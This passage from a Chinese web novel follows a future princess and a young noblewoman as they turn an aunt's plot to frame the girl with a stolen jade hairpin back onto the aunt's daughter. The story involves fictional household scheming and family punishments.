棠云麒急了,拼命给她使眼色,眼睛都要抽筋了,棠云婋这才放下茶盏站起身,走到父母中间打圆场。
“爹、娘,大哥二哥说得都在理。如今咱们家刚在京城立足,两位兄长正是潜心进学、以求金榜题名的时候。此时若分心于婚事,确实不妥。”
“不如等到明年春闱秋闱之后,两位兄长若能榜上有名,咱们家更是双喜临门,到时再说亲,岂不更加风光,选择也更多些?”
棠云麒和棠云麟一听,连忙点头异口同声:“妹妹说得对!”
方青鸾看看两个儿子,又看看说得头头是道的女儿,仔细一想,也确实如此。
她叹了口气:“婋婋这话倒也在理。”
毕竟夫君如今只是个九品小官,两个儿子功名止于秀才,虽说女儿是郡主、未来王妃,但在外人看来,棠家的门第在京城这地界,实在不算高。
现在仓促说亲,确实难找到真正称心如意的好亲事。
若儿子们真能考取功名,那才是实实在在的底气。
见母亲终于松口,兄弟俩暗暗松了口气。
等爹娘离开后,棠云麒立刻贼兮兮地把棠云婋拉到廊下的角落,警惕地看了看四周,像是有什么大秘密要说。
棠云婋有些好笑:“怎么了,大哥,今日还有什么事是不能让爹娘知道的?”
棠云麒一脸崇拜地看着妹妹。
他妹妹,果然料事如神。
“还真有一桩事。”他低声音,将今日在太傅府如何被小厮设计,自己如何警觉反制,又如何意外撞见陆二小姐的事情都告诉了妹妹。
当然,隐瞒了搂人家姑娘腰的事情。
棠云婋原本带笑的眉眼渐渐变得严肃起来。
听到最后,眼底已是一片冷意。
虽然那个小厮没有承认引大哥去往何处,但她稍微一想,就能猜出来了。
无非就是进了内院,冲撞了女眷,给兄长扣上一个不知礼数的大帽子。
甚至更恶心的,还可能是给丫鬟下药,让大哥惹上一身腥还洗不清。
这太傅府里竟然有人敢平白无故地算计她大哥,真当她棠云婋是软柿子不成?
棠云麒说完,脸上露出一丝不易察觉的担忧,语气也放缓了些:“我跑得快是没事了。就是不知道我那么一闹腾,后来又撞见了陆二小姐,会不会给她惹什么麻烦?”
“毕竟你之前说过,她父亲母亲不是有担当的,那个陆三小姐在大庭广众之下还抽她的马,私底下还不知道要怎么欺负她呢。”
棠云婋唇角弯起一个极浅却令人看不透的弧度。
她轻轻拍了拍大哥的手臂,语气平静:“大哥别担心,此事交给我来处理便是。”
“明日我便去一趟太傅府,亲自瞧瞧那位二小姐,好让大哥放心。”
“什么放心不放心的,我什么时候说我不放心了。”棠云麒一听这话,立刻拔高了音调。
棠云婋有些疑惑地看向大哥。
“你先前不是还担心自己会不会给她惹麻烦么?我这么说,有什么问题?”
棠云麒这才意识到自己反应好像有些过激。
他将手握成拳,轻咳了一声:“没有。”
他生怕妹妹继续追问,赶忙留下一句我温书去了,明日还要上学呢。”就溜之大吉。
棠云婋看着大哥落荒而逃的背影,摩挲着下巴,若有所思。
“衔蝉,你觉不觉得大哥有点不对劲?”
第398章 想以牙还牙
衔蝉也跟着点头:“确实,有点不对劲。”
棠云婋一时半会儿还没搞明白大哥哪里不对劲,她决定明天去太傅府看看再说。
陆珮君接到棠云婋送来的拜帖,有些惊讶,但还是立刻命人准备起来明日接待郡主。
陆二夫人蒋氏得知这个消息,有些恼怒。
“竟然真让那死丫头攀上郡主了?”
但恼怒之余,更多的是怀疑。
她压低声音,看向心腹嬷嬷邬氏:“你说,郡主来会不会因着今日那事?”
邬氏微微皱眉:“应该不会吧。据忠树那小子交代,他什么都没说,甚至还没来得及做什么,就被打晕了。”
听到她这么说,蒋氏略微放心了一些。
“也是,就算她想上门找茬,无凭无据的,她也不能把我们怎么着。”
她顿了顿,又道:“陆珮君那死丫头那边,一切可安排妥当了?”
“放心吧,一切都安排好了。”邬氏露出了一抹得意的笑。
“行,那咱们就且等着瞧吧。”蒋氏冷哼了一声。
陆珮君那个瘟神害得她的女儿被禁足祠堂一月,抄写《陆氏家训》一百遍,如今才堪堪抄了一半。
本来打算让丫鬟帮着糊弄几篇过去,谁曾想那陆珮君眼睛锐利得很,但凡字儿写得稍微有点不一样,立刻就被她挑出来抓个正着。
真是气死她了。
她得想法子给陆珮君找点事,让公公婆婆去管教那死丫头,好早日把她的宝贝女儿放出来。
*
翌日。
棠云婋如约抵达了太傅府。
虽说她只给陆珮君下了帖子,但她来了,太傅府里的女眷总不能装作不知道,只得一块出门来迎她。
棠云婋懒得应付她们,直接让她们退下了。
“本郡主今日来得冒昧,主要是前次惊马之事,心中始终记挂着陆二小姐,有些体己话想同她说说。诸位夫人事务繁忙,不必在此作陪了。”
这话说得漂亮,既点明了缘由,又直接免了她们的陪侍。
陆家大夫人袁氏本就不是喜欢和贵人打交道的性子,听到这话,松了一口气。
二夫人蒋氏脸上有些挂不住,却也不敢违逆,只得干笑着应了,任由陆珮君将棠云婋把人领走。
看着两人的背影,蒋氏一阵烦躁。
如今她的人已经被陆珮君清除完毕,大房的院子管得如同铁桶一般严严实实,她想安插新的眼线都不方便。
不然就可以知道棠云婋要和陆珮君说什么了。
她总觉得,棠云婋今日前来绝不是单纯地探望陆珮君。
陆珮君将棠云婋领到了自己院子里,挥退了丫鬟,屋内只剩她与棠云婋带来的衔蝉和九栀。
都是老熟人,陆珮君并不觉得紧张。
棠云婋温声询问道:“那日受惊不小,身子可还有不适?”
陆珮君请她上座,亲自斟了茶,眉眼间比从前多了几分不易察觉的从容:“劳郡主挂心,早已无碍了。”
她看出棠云婋此番前来并非单纯来访,轻声道:“郡主放心,这院里如今都是我的人,有话但说无妨。”
“说起来,还得多谢郡主先前仗义,让人助我清理门户,否则,以我爹娘那般……那般性子,恐怕我如今还是举步维艰。”
想了想,陆珮君还是没有把软弱窝囊几个字说出来。
“幸好大房现在俱在我的掌控之内,祖父对我们也多了几分关心,祖母和二婶也不好太针对我们了。”她语气里有一丝淡淡的涩然,但更多的是庆幸。
棠云婋点点头,不再迂回,压低声音道:“既如此,我便直说了。”
“昨日我大哥在府上,似乎遇到些不大痛快的事?”
陆珮君闻言,想起了昨日被棠云麒搂在怀里的场景,脸颊倏地飞起两抹红晕,下意识地避开了棠云婋的目光,声音也低了几分。
“昨日我与令兄确实偶遇了。”她把昨天的事情娓娓道来。
当然,她隐去了与棠云麒相撞被抱的场景。
棠云婋盯着她泛红的脸颊,若有所思。
昨日到底发生了什么。
怎么大哥落荒而逃,陆二小姐也害羞脸红了?
听到最后,她忍不住询问:“那你为何会出现在那个偏僻的角落?”
陆珮君神色一正,脸上红晕褪去,露出一丝冷嘲和后怕。
“不瞒郡主,我昨日得了消息,二房的人偷偷东西将埋在了我院子外的假山附近。所以我才想着亲自去把东西找出来。”
“没想到,那藏的竟然是祖母去岁丢的翡翠簪子。”
“若不是我察觉及时,只怕过两日她就要带着人当场挖出来。届时人赃并获,我一个偷盗长辈嫁妆的罪名是跑不掉的。”
棠云婋:“东西呢?”
“已经拿到手,我悄悄藏好了,没敢声张。”陆珮君蹙眉。
她最初想的是以牙还牙。
可她身边虽有几个得用的人,但要想悄无声息地将东西送入二房的院内而不被察觉,实在是难如登天。
硬闯更是自投罗网。
所以如今也只能暂且将东西藏匿稳妥,走一步看一步,先放着了。
棠云婋看出了她似乎有什么难言之隐,开口道:“你可想好了怎么解决这事?”
陆珮君迟疑了片刻,还是把自己的想法说了出来。
“所以你现在是缺人手,想要找本郡主借人?”棠云婋挑眉。
“不是。”陆珮君的回答出乎了棠云婋的意外。
“但确实也需要郡主帮个忙。”
“哦?你说说。”棠云婋有些好奇。
陆珮君不找她借人,她身边都是些没有武功的丫鬟,她要怎么才能把那支簪子嫁祸到蒋氏头上?
第399章 有仇当面报
陆珮君谨慎地观察了一下棠云婋的神色,见她没有不高兴,这才开口。
“郡主今日前来,探望我是名正言顺。若郡主愿意,稍后再探望一下三妹妹也是合情合理。有郡主开口,无论是祖母还是二婶,都无法阻拦。”
“届时,我陪郡主一同前往祠堂。三妹妹的性子您也知道,见到我们,她必定按捺不住怨气,会出言不逊。只要场面一乱,众人的注意力必被吸引。”
“我便可以趁机让我那贴身丫鬟,借着人多眼杂,将这支簪子悄悄放入祠堂内某个不起眼的角落。”
“比起二房院内的严防死守,祠堂虽重要,平日守卫却并不森严,尤其是在有热闹可看的时候,更容易得手。”
说到此处,她的语气带上一丝歉然。
“此计难免有利用郡主为我制造时机之嫌。故而必须先向您坦白。若您觉得不妥,或不愿卷入太傅府内宅这般琐碎阴私之事,珮君绝无怨言,再另想他法便是。”
她将选择权完全交给了棠云婋,态度诚恳而坦荡。
棠云婋听完,非但没有不悦,眼底反而掠过一丝欣赏。
陆珮君这个姑娘确实不错。
心思缜密,坦诚相告,更难得的是懂得借势而为,而非一味蛮干。
她微微一笑:“你这法子不错,既能成事,又能顺便瞧瞧热闹,我为何不去?”
“不过嘛,我觉得你这个计划,还不够完美。”
陆珮君听到这话,立刻躬身冲她行了一个学生拜师的礼仪。
“还请郡主请教。”
棠云婋冲她招了招手,示意她凑过来。
随后低声耳语了几句。
陆珮君顿时眼前一亮,觉得这个办法更好。
她不住地点头:“郡主果然聪慧过人,非我等常人可比拟。就按郡主您说的办。”
棠云婋微微一笑,放下茶盏站起身,姿态优雅从容:“走吧,咱们一块去看看陆三小姐反省得如何了。”
*
祠堂里。
陆玥君在祠堂里都快憋疯了!
她已经不记得自己被关了多少天了。
她只觉得自己现在浑身上下都透着一股霉味和香火味,难受得要命。
那破垫子硬得硌人,跪得她膝盖又青又紫,晚上睡觉都疼。
一开始她还梗着脖子不服气,觉得娘亲和祖母肯定很快就能把她弄出去。
结果娘亲和祖母除了偷偷让人塞点好吃的进来,压根没提让她提前出去的事儿。
《陆氏家训》她抄得手腕都快断了,也才勉强糊弄完五十遍,那字迹歪歪扭扭的,她自己都快不认识了。
想到剩下还有五十遍她就眼前发黑,她现在看到《陆氏家训》几个字就想吐。
最让她难以忍受的是每次她抄完家训,陆珮君还要各种点评,真是比杀了她还难受。
她如今只想撕了那些破纸,砸了这破祠堂!
“死陆珮君,臭陆珮君!拿着鸡毛当令箭的狗东西!等我出去了,我要你好看。”
陆玥君气呼呼地将手上的笔往地上一砸,面色狰狞。
祠堂沉重的木门“吱呀”一声被推开,打断了陆玥君咬牙切齿的咒骂。
棠云婋领着陆家女眷走进来,恰好将陆玥君砸笔、面目狰狞咒骂的那一幕尽收眼底。
她唇角立刻勾起一抹毫不掩饰的讥讽,声音清脆:“哟,陆三小姐这思过的架势,还真是别开生面。看来陆家祠堂的风水还挺养人,瞧瞧,这正在禁足反省的三小姐,真是中气十足。”
蒋氏心里咯噔一下,猛地往下沉。
先前令嘉郡主和婆母说想来探望女儿,将之前的误会解开。还说若女儿已经反省好了,那便帮她与公公说情,早点把女儿放出来。
她总觉得棠云婋这话没安好心,便主动要一块跟来。
万万没想到女儿竟然这么不省心。
她们一来就撞上了女儿这失态的模样。
陆玥君整个人都傻了,血一下子涌到耳根子又褪得干干净净,脑子里嗡嗡作响。
她被这么多人撞见最不堪的样子,尤其还是在棠云婋这个“罪魁祸首”的眼前。
一时之间,手脚都僵住了,恨不得找个地缝钻进去。
蒋氏看着女儿那副窘迫模样,焦虑又着急,赶紧挤出一个比哭还难看三分的笑容,硬着头皮上前打圆场。
“郡、郡主恕罪!玥君这是手臂酸痛,心里又委屈,急火攻心才一时失态。万望郡主海涵。”
棠云婋冷哼一声没说话。
陆珮君缓缓上前一步,挽住了陆玥君的胳膊。
“妹妹快别这样,祖父让你抄家训也是为你好。抄写虽苦,却能磨砺心性。你若是累了手臂酸痛,歇歇便是,何苦跟自己置气呢?若是伤了手,祖母和二婶该心疼了。”
跟在后边的衔蝉听到这话,抿唇偷笑。
这陆二小姐还真是个人才。
话里话外都是对陆三小姐的关心,实则字字句句都在往陆三小姐心窝子上捅。
先抬出陆老太傅,压得陆三小姐一点错处都挑不出来,然后明晃晃的笑话陆三小姐家训白抄了,心性压根没有磨砺成功。
这哪是关心,分明是把陆三小姐架着火在烤,还让人挑不出理来。
妙啊!
陆玥君被棠云婋的嘲讽之后本就又羞又恼,再被陆珮君这番一激,脑海里那根名为理智的弦“啪”地就断了。
她猛地抬头,尖声道:“陆珮君!你少在这里假惺惺!要不是你,我怎么会在这里抄这些破东西!”
她情绪激动之下,竟直接朝着陆珮君冲过去,像是要动手推搡。
“三妹妹你怎么还动手呢?”陆珮君惊呼一声,惊慌地后退半步。
九栀赶紧上前扶住她:“陆二小姐当心。”
她单手搀扶住了陆珮君。
另一只手藏在袖中,借着陆珮君宽大衣袖的遮掩和角度的盲区,极快地将陆老夫人那支成色极好的翡翠簪子塞到了旁边一摞抄好的家规纸张下方。
与此同时,陆玥君的手眼看就要推到陆珮君肩膀上,却被九栀拉着她闪身躲过了这一劫。
她一个不稳直接扑在了桌面上,将抄好的家规撞翻在地。
“啪嗒!”
一声清脆的玉碎声响彻祠堂。
所有人都被这变故惊得一愣。
只见那支被扫落在地的翡翠簪子摔成了两截,碧绿的断口在青石地上格外刺眼。
陆玥君狼狈地趴在桌子上,完全没明白这簪子是从哪里冒出来的。
蒋氏一眼认出那簪子,瞳孔骤缩,脸色“唰”地白了。
第400章 唱起了反调
蒋氏一眼认出那簪子,瞳孔骤缩,脸色“唰”地白了。
那是去岁婆婆弄丢的簪子。
那会儿她无意间撞见婆婆院里那个叫杏儿的丫鬟,躲在假山后头拿着什么东西偷偷掉眼泪,看到她之后慌里慌张地把东西往怀里塞。
她当时便觉得古怪,直接扣下她问话。
这才知道她兄长被人打断了腿,急需钱救命,所以她便鬼迷心窍偷了老夫人的簪子,想拿去卖了换钱。
蒋氏把簪子拿了回来,又给了杏儿一笔钱让她去给兄长治腿。
她以此为把柄,让杏儿成了自己安插在婆婆院子里的眼线。
她当时也没想好要拿这簪子来做什么,只觉得捏着别人的把柄和一件要命的东西,总有用得着的时候。
她把它塞进妆匣最底层,几乎都快忘了。
近日想到算计陆珮君,才将它拿了出来。
她计划得很完美。
过两日在陆珮君院子里翻找到这个簪子,届时再让杏儿作证,陆珮君偷盗长辈的罪名就跑不掉了。
可她万万没想到,自己安排的好戏还没上场,这簪子就被女儿失手打碎了。
她脑袋一浆糊。
这簪子怎么会出现在这里?
还偏偏在她女儿手里摔碎?
陆老夫人看着姐妹俩推搡的闹剧气得脸色铁青。
往常私底下闹一闹就算了,如今有外人在,竟然也闹成这样,简直是丢人至极。
她正欲呵斥姐妹二人,就看清了地上的簪子。
她脸色微变:“晚萤,你将那簪子拿来让我瞧瞧。”
“是。”丫鬟应了一声,将断成两截的簪子捡了起来。
陆老夫人颤抖着手接过,她仔细打量着那通透的翠色和熟悉的纹路,终于确认了,这正是她去年莫名丢失、心痛许久的那支陪嫁簪子。
她反复摩挲着断裂处,看向陆玥君的眼神里充满了难以置信的震怒和失望。
“三丫头!”她猛地怒喝一声。
“这可是我的陪嫁之物,你竟敢偷藏起来,还把它打碎了。我平日真是白疼你了!”
陆玥君被这突如其来的指控砸懵了,吓得扑通一声跪下,眼泪瞬间涌了出来,拼命摇头:“祖母!不是我!我没有偷,我根本不知道这簪子怎么会在这里,我真的不知道啊。”
她吓得语无伦次,只会反复说“不知道”,“不是我”。
蒋氏眼见事情朝着最坏的方向发展,脑子飞快转动。
这赃物绝不能扣死在女儿头上。
她立刻上前一步,也跪倒在老夫人面前,急声道:“母亲息怒,此事定然有误会。玥君虽然顽劣,但绝无胆子偷盗您的贴身之物。这一定是有人栽赃陷害!”
她猛地抬头,看向了一旁的陆珮君:“是你,二丫头,你故意将这簪子带来,趁机陷害玥君的!你好毒的心肠!”
陆珮君面对这指控,脸上露出惊愕和委屈,却不慌不乱。
这个场景,在来之前郡主就已经和她假设过了。
她想的计谋是将簪子藏在祠堂,日后等蒋氏闹起来要去她的院子找簪子的时候,找不到,她再提出把整个家里都搜一遍,然后从祠堂找到,栽赃给陆玥君。
但郡主这招更妙,直接在众目睽睽之下将簪子借着陆玥君的手弄断。
这样罪名就能直接钉死在陆玥君头上,半点转圜的余地都没给二房的人留。
众目睽睽之下,她们想喊冤、想攀扯她栽赃,都显得苍白无力。
于是陆珮君冷静地开口:“二婶这话从何说起?方才大家都看见了,是玥君妹妹突然激动推搡于我,我闪身避开,才让她推倒了书案。”
“东西是从妹妹的书案上掉出来的,众目睽睽,如何能怪到我的头上?难道是我按着妹妹的手去推我,又是我按着妹妹的手把簪子藏在她自己的纸下的?”
她句句在理,将自己摘得干干净净。
蒋氏被噎了一下,不知道该如何反驳。
陆玥君听到母亲的指责,立刻跟着附和:“定是你早就偷偷将簪子藏在了这里,就等着今日陷害我。”
陆珮君闻言,嘴角勾起一抹嘲讽的弧度,语气却更加无辜。
“三妹妹真是高看我了。祖母的松鹤堂规矩严谨,我每次去请安,停留不过一刻钟,并且皆有长辈、嬷嬷还有丫鬟们在场,何时能有机会独自潜入内室偷取簪子?”
她话锋一转,目光轻飘飘地落在陆玥君身上:“反倒是三妹妹你……”
“你深得祖母宠爱,时常在祖母跟前承欢膝下,出入松鹤堂内室如同自己的院子一般自在随意。你说,我们俩相比,谁更有机会神不知鬼不觉地拿走簪子呢?”
这个反问如同一记闷棍,狠狠敲在蒋氏母女和陆老夫人心上。
陆珮君这话她们实在无可反驳。
蒋氏气得脸色煞白。
她当然知道真相,但她怎么能说?
说出真相就是承认自己偷藏赃物、意图构陷嫡侄女,这罪名比可陆玥君偷拿祖母陪嫁之物还打碎要严重十倍百倍。
就在这时,一直看戏的棠云婋轻笑一声,慢悠悠地开口:“哎呀,这可真是公说公有理,婆说婆有理了。”
“本郡主瞧着,这陆家的家务事还真是复杂有趣。既然你们各执一词,在这里争破头也争不出个结果,不如……请陆老太傅来裁决如何?”
“陆老太傅公正严明,定然能查个水落石出,也好还真正清白之人一个公道。”
在场的陆家人,除了陆珮君外,齐齐脸色大变。
这绝对不行!
后院女子这些阴私算计,偷盗、构陷、姐妹失和……
哪一桩拿出来都是丢尽陆家脸面的事情。
若是闹到的老太傅面前,不仅陆玥君要倒大霉,她们这些管教不严、治家无方的长辈也统统逃不掉一顿严厉的训斥和惩罚。
尤其是蒋氏,她心知肚明自己根本经不起查。
“不可!”陆老夫人立刻厉声阻止,声音都尖厉了几分,“此等小事,何须惊动老太爷。”
上回孙女马场闹出的事情已经让夫君不悦了,再把这事闹过去,夫君定然对她们愈发不喜。
蒋氏也慌忙附和:“母亲说的是,郡主好意心领了,但此等微末小事,实在不敢劳烦父亲大人。”
她此刻只想赶紧把这事压下去,绝不能让公公插手。
没想到,陆珮君却和她们唱起了反调。
第401章 不愧是王妃
陆老夫人和蒋氏话音刚落,陆珮君扭头看向自己带来的丫鬟:
“锦屏,你去前院书房,务必请祖父过来一趟!就说祠堂这里出了大事,关乎祖母心爱之物和姐妹清誉,只能劳烦祖父了。”
她语速又快又清晰,根本不给旁人反应的时间。
那个叫锦屏的丫鬟也是个机灵的,应了一声:“是,小姐!”
随后转身就小跑着出了祠堂,动作快得蒋氏想开口阻拦都来不及。
“二丫头!你!”陆老夫人又惊又怒,她没想到这个平日里最为温顺的孙女竟敢如此忤逆她的意思。
蒋氏尖声道:“来人,快把她叫回来。”
她身边的丫鬟正要冲出去追锦屏,棠云婋就把腿伸了出去。
“哎哟!”那丫鬟猝不及防,被结结实实绊了个狗吃屎,摔在地上痛呼出声。
蒋氏见状,简直怒不可遏,也顾不得许多了,扭头就对棠云婋怒目而视:“郡主!您这是何意?”
棠云婋脸上非但没有半点心虚,反而扬起一抹极其张扬又恶劣的笑容,眼神倨傲地上下扫了蒋氏一眼。
“何意?”她嗤笑一声,声音又脆又亮,带着明晃晃的嘲讽,“蒋夫人,你是在质问本郡主?”
她瞥了一眼地上还没爬起来的丫鬟,语气轻慢。
“本郡主还没问你呢,你陆家的下人都是这般没规矩的?竟敢冲撞本郡主!”
她根本不给蒋氏反驳的机会,步步紧逼,语气越发凌厉:“怎么?方才你女儿手脚不干净,弄坏了老夫人的东西,现在你的下人又这般目无尊卑?蒋氏,你这家是怎么管的?还是说……”
棠云婋故意拖长了调子,声音陡然一沉:“你就是故意纵容,想给你女儿出气,连本郡主都不放在眼里了?”
这一顶大帽子扣下来,分量极重。
直接上升到了对郡主不敬的高度。
蒋氏被她这连珠炮似的倒打一耙和嚣张气焰打得措手不及,脸色瞬间煞白,气得手指都在抖:“你……你血口喷人!分明是你……”
“我什么我?”棠云婋下巴微扬,打断她的话,语气冰冷又傲慢。
“蒋氏,注意你的身份!再敢用手指着本郡主,以下犯上,就别怪本郡主不给你留脸面。”
她这话说得毫不客气,蒋氏气得浑身发冷。
但她的气势太过,蒋氏直接被她震慑住了,指着她的手不由自主地缩了回去,剩下的半句辩解也死死卡在了喉咙里。
她愤愤地想:令嘉郡主不愧是永安王未来的王妃,这嚣张的劲,简直是如出一辙。
呸,狐假虎威。
这时,陆珮君趁机跪倒在陆老夫人面前,泪水如同断了线的珠子般滚落,看着委屈极了。
她哽咽着开口:“祖母,二婶,并非珮君不懂事,非要惊动祖父。实在是这偷盗祖母陪嫁之物的罪名太重了。”
“今日若不能查个水落石出,珮君便要一辈子背着这陷害姐妹的恶名,三妹妹也要蒙受不白之冤。”
她抬起泪眼朦胧的脸,看向陆老夫人:“祖父向来公正严明,他定能查清这簪子究竟是如何出现在妹妹书案下的,到时候便能还所有人一个真相和公道。”
她说的话句句在理,把自己放在了一个被迫求告,不得不惊动长辈的委屈位置,堵得陆老夫人和蒋氏哑口无言。
棠云婋立刻配合地点头,语气严肃:“陆二小姐所言极是。清誉重于一切,此事若不彻查,日后必成陆家隐患,姐妹生隙,家宅不宁。本郡主也觉得,请陆老太傅来主持大局最为妥当。”
话都让她们俩说完了,陆老夫人她们还能说什么呢。
只得脸色铁青地等着陆老太傅的到来。
蒋氏低着头,心急如焚,思索着待会到底该如何帮女儿洗清这个罪名。
陆玥君只会哭,她一想到祖父待会要来,就吓得止不住眼泪。
祖父已经不是从前那个疼爱她的祖父了,呜呜呜,待会还不知道他会为了陆珮君怎么惩罚她呢。
没过多久,陆老太傅面色凝重地走了进来。
棠云婋冲他行了一礼,陆老太傅沉着脸回礼。
他在想,他家孙女是不是和这位令嘉郡主八字不合,怎么两人一碰面,就会闹出事情来?
若是换作以往,他定然不会再让府中女眷与郡主来往,省得之后闹出别的更大的事情。
可如今他对这位郡主的兄长倒是颇感兴趣,若直接断了来往,难免伤了和气。
陆老太傅舍不得棠云麟,看着棠云婋的目光便愈发复杂了。
他斟酌着开口,语气十分客气:“令嘉郡主大驾光临,本是陆府之幸。只是眼下家中突生琐事,皆是些不成器的晚辈闹出的糊涂官司,实在不堪入耳。”
“今日便不多留郡主了。待老夫处理完这家务事,整顿门风,他日再备薄酒向郡主致歉。”
棠云婋听出了他逐客的意思,爽快地点点头:“太傅大人言重了。既如此,本郡主便先行告辞了。”
说完冲陆老太傅随意地福了一礼,又意味深长地瞥了陆珮君一眼,递给她一个“剩下的交给你自己”的眼神,便带着衔蝉和九栀离开了。
今日一趟,也并非全无收获。
蒋氏能干出把老夫人陪嫁藏到陆珮君院子里,自然也干得出引她大哥进内院的事情。
这事,多半就是蒋氏所为了。
或许她并非为了报复自己,而是想要陷害陆珮君。
那又如何?
她可不会这么轻易放过蒋氏。
今日先借陆珮君的手收她二房一点利息,剩下的,她改日再讨回来。
棠云婋离开后,陆老太傅面色沉沉地扫了所有人一眼。
“怎么回事?”他的声音不高,却带着浓浓的压迫感。
蒋氏正要开口,陆珮君就抢先一步,跪到了祖父面前,重重磕了一个头,声音带着哭腔却条理清晰地将方才发生的事快速说了一遍。
重点强调了簪子是从陆玥君抄写的纸张下露出,随后又被陆玥君自己推翻扫落摔碎的。
她抬起泪眼,无比委屈地看着陆老太傅,声音里充满了无助和冤屈。
“祖父!孙女当真不知这簪子为何会出现在三妹妹的书案之下。众目睽睽,郡主、祖母、还有这么多下人都看着,簪子确是从三妹妹书案处掉落摔碎的,可二婶却偏偏说那是孙女带来陷害三妹妹的。”
“孙女蒙受此等不白之冤,实在不知该如何自处,又恐姐妹失和、家宅不宁,更怕祖母伤心动气。无奈之下才只得命丫鬟惊动祖父。”
“求祖父彻查此事,还孙女一个清白,也查明这簪子究竟为何会出现在此地,以免日后再生事端,伤了家族和气!”
第402章 会咬人的狗
陆老太傅听完,脸色愈发阴沉。
陆老夫人一咬牙,也要跟着跪下:“是妾身治家不严,给夫君增添烦忧了。”
她上回就已经让夫君失望了,这回可不能再这样下去。
她在这个家,之所以能如此一手遮天,靠的全是夫君。
她失去什么都不能失去夫君对她的偏爱。
陆老太傅见状,赶忙弯腰将要跪下的陆老夫人扶起,温声道:“夫人受惊了,为了一支簪子,动如此大怒不值当,仔细身子。”
言语间满是回护与心疼,丝毫没有责怪她的意思。
陆老夫人松了一口气。
随后他转向众人,脸色瞬间变得严肃又冰冷。
簪子丢了一年,当时没找到,今日却忽然出现在祠堂里,自然不可能是巧合。
若要查起来,绝非简单的事。
所以他决定先把当下最要紧的事情解决了。
他扫了一眼哭得不成样子的陆玥君,失望至极。
“陆玥君!”
忽然被点名的陆玥君僵直了身子,垂着头不敢看祖父。
陆老太傅沉声道:“你禁足期间不知悔改,言行无状,冲撞长辈。禁足延长至半年,每日跪抄《陆氏家训》十遍,抄不完不准起身。身边伺候之人全部换掉,用度减半。若再不知悔改,陆家便当没你这个孙女。”
他原以为禁足能让这个孙女有所悔改,没想到竟然还是和之前一样跋扈。
还说出那等狂妄之言,让郡主听了去。
既然一个月没法让她静下心来,那便改成半年。
陆玥君听到这个处置,吓得连哭都忘了。
一个月的禁足她就已经够痛苦了,现在延长至半年,还让不让她活了?
接着,陆老太傅又看向了面色煞白的蒋氏。
“老二媳妇,你教女无方,是非不分。遇事不先查明原委,反而一味攀咬侄女,搅得家宅不宁,令长辈烦忧。罚你禁足一月,抄写家训百遍。好好反省何为慈母,何为贤媳。”
蒋氏听到只是禁足抄书,心中刚暗自松了一口气,以为逃过一劫。
没想到陆珮君忽然对着陆老太傅和陆老夫人盈盈一拜,柔声道:“祖父,祖母,今日之事,虽非我之过,却也因我而起,惊扰长辈,我心中实在难安。”
“眼见祖母为家务琐事烦心劳累,孙女年岁渐长,不久之后也要谈婚论嫁,总不能一直躲在祖母和婶婶羽翼之下,对家务庶务一窍不通。”
她抬起眼,目光真诚地看向蒋氏:“二婶多年来主持中馈,辛苦劳碌。我愿从旁学习,也好为二婶分忧,为祖母解劳。”
“恳请祖父、祖母允准,让二婶分派一些简单的庶务给我学着打理,我定当尽心竭力,不负长辈所托。”
陆老太傅闻言看向脸色瞬间僵硬的蒋氏,觉得这确实是个好主意,既能敲打蒋氏,又能让二丫头历练,还能让夫人轻松些。
于是他顺水推舟,对蒋氏道:“二丫头说得有理。她年纪不小了,是该学着打理家事。蒋氏,你便分出一半的管家权,交由她一同管理。这也是为你分担,省得你分身乏术,管得了庶务顾不了子女教养。”
“你要好生教导二丫头,不得藏私。记住了吗?”
蒋氏只觉得一口老血堵在喉咙口,吐不出来又咽不下去。
分出一半管家权?
这简直是在割她的肉!
还有那句“省得你分身乏术,管得了庶务便顾不了子女教养。”,这岂不是当着小辈的面责备她教女无方么。
可公公亲自发话,她根本没有理由拒绝。
蒋氏艰难地开口:“儿媳记住了。二丫头如此懂事,是陆家的福气。媳妇定当好好教导她。”
“行了,簪子一事,交给庆伯来查。夫人,咱们回吧。这簪子碎就碎了,明日我再让人给你寻个更好的来。”
陆老太傅将簪子一事交给了管家来查,自己挽着陆老夫人离开了祠堂。
陆珮君扫了一眼地上那些歪歪扭扭的家训,叹了口气:“三妹妹,你这字迹倒是大不如前了。”
“不过三妹妹如今有的是时间,慢慢抄,总能练好的。半年时间,足够你修身养性了。”
随后她唇角勾起了一抹笑,眨巴着眼看向陆玥君:“往后姐姐我呀,怕是不能常来看你了,毕竟我要跟着二婶学习打理庶务,为祖母分忧呢。”
这话简直是往陆玥君血淋淋的伤口上又撒了一把盐。
不仅嘲讽她字丑、被长期禁足,还特意强调了要分走她母亲的管家权。
陆玥君猛地抬头,恨恨地瞪着陆珮君,怒吼道:“陆珮君,你给我等着!!!”
陆珮君立刻后退半步,用手帕轻轻掩住口鼻,仿佛被她的戾气吓到了一般,眼神却无辜地看向蒋氏。
“二婶您看,妹妹这脾气怕是还得好好静静心才行。这般冲动易怒,日后可如何是好?若是被祖父瞧见,说不定禁足的时间要从半年变成一年了呢。”
蒋氏看着陆珮君这副得了便宜还卖乖、句句往她心窝子里捅刀的模样,恨不得撕了她的皮。
可她不能!
公公刚把管家权分出去,她还在受罚期间,她动不了陆珮君。
她只能从牙缝里挤出声音:“不、劳、你、费、心!管好你自己就行。”
陆珮君像是完全没听出她话里的恨意,笑容依旧温婉得体:“那二婶,我便先回去准备了。明日再去您那儿向您请教管家的事宜。”
她盈盈一拜:“侄女告退。”
说完,她不再看那对愤怒得几乎要喷出火来的母女,优雅地转身,带着丫鬟从容地离开了祠堂。
陆珮君一走,陆玥君就再也忍不住,猛地将面前的书案掀翻,笔墨纸砚哗啦啦摔了一地。
“啊——!陆珮君!我要杀了你!我要杀了你!”她歇斯底里地尖叫起来,状若疯癫。
“闭嘴!”蒋氏猛地厉喝一声,上前一把抓住女儿的肩膀,眼神狠厉,“你还嫌不够丢人吗?还嫌你祖父罚你罚得不够重吗?”
陆玥君被母亲狰狞的表情吓住,不敢再乱动。
蒋氏看着满地狼藉和哭花了脸的女儿,又是心疼又是愤怒。
她压低声音道:“哭有什么用,喊有什么用。我们这是着了人家的道了!”
陆玥君茫然又怨恨地看着母亲:“道?什么道?娘,那簪子到底是怎么回事?怎么会在我这里?”
蒋氏脸色灰败,眼神闪烁,她怎么能告诉女儿,那原本是她准备用来陷害陆珮君的。
女儿知道了,还不得怨恨她这个当母亲的无能。
她只能咬牙切齿地道:“是陆珮君!不知道她用了什么龌龊手段,把东西塞到了你这里,故意演了这么一出戏。”
蒋氏越想越觉得可怕。
陆珮君不仅看穿了她的计划,还将计就计,反过来利用得如此彻底。
夺权、打压、离间……
一石数鸟。
